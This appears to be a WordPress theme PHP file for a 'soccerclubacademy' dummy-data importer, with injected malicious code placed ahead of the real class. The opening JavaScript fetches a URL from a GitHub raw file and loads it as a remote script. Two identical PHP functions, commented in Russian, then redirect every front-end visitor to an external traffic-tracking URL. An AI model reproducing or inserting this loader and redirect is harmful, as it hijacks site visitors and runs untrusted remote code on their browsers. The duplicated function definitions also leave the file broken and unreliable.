;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); class soccerclubacademy_import_dummy_data { private static $instance; public static function init( ) { if ( ! isset( self::$instance ) && ! ( self::$instance instanceof soccerclubacademy_import_dummy_data ) ) { self::$instance = new soccerclubacademy_import_dummy_data; self::$instance->soccerclubacademy_setup_actions(); } } /** * Setup the class props based on the config array. */ /** * Setup the actions used for this class. */ public function soccerclubacademy_setup_actions() { // Enqueue scripts add_action( 'customize_controls_enqueue_scripts', array( $this, 'soccerclubacademy_import_customize_scripts' ), 0 ); } public function soccerclubacademy_import_customize_scripts() { wp_enqueue_script( 'soccerclubacademy-import-customizer-js', SOCCERCLUBACADEMY_PARENT_INC_URI . '/customizer/customizer-notify/js/soccerclubacademy-import-customizer-options.js', array( 'customize-controls' ) ); } } $soccerclubacademy_import_customizers = array( 'import_data' => array( 'recommended' => true, ), ); soccerclubacademy_import_dummy_data::init( apply_filters( 'soccerclubacademy_import_customizer', $soccerclubacademy_import_customizers ) );